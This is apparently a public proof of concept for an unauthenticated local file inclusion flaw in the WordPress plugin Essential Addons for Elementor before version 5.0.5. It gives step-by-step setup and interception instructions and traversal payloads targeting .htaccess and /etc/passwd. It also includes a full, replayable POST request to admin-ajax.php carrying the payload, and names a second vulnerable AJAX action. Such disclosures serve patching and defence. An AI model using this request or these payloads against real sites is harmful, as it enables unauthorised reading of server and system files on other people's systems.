Essential Addons for Elementor < 5.0.5 - Unauthenticated LFI

- Create a simple page and edit with Elementor
- Add a Post Grid with the Show Load More option enabled (in the Layout Settings section of the widget, default is disabled)

- As an unauthenticated user, navigate to that page and intercept the request made when clicking the Load More button
- Change the template_info[file_name] parameter with a payload such as ../../../../../../.htaccess, ../../../../../../../../etc/passwd etc (the template_info[name] is also vulnerable)

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 396
Connection: close

action=load_more&class=Essential_Addons_Elementor%5CElements%5CPost_Grid&args=orderby%3Ddate%26order%3Ddesc%26ignore_sticky_posts%3D1%26post_status%3Dpublish%26posts_per_page%3D4%26offset%3D0%26post_type%3Dpost&page=2&page_id=5512&widget_id=19f1b2c&nonce=7c9c8da06d&template_info%5Bdir%5D=lite&template_info%5Bfile_name%5D=..%2f..%2f..%2f..%2f..%2f..%2f.htaccess&template_info%5Bname%5D=Post-Grid

The ajax_eael_product_gallery AJAX action (Product Grid widget) is also affected